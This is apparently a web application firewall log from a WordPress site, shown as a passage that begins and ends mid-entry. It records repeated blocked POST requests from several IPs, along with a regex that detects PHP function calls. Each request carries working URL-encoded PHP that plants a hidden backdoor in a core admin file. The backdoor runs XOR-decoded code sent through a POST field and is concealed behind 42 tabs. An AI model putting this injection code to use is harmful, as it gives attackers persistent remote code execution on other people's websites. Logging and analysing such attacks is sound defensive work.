D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:44:04","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvExbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3686\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nFJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:44:20","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGTbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3686\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nLj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:44:27","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3686\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-dest:document\n\nfb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:44:34","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%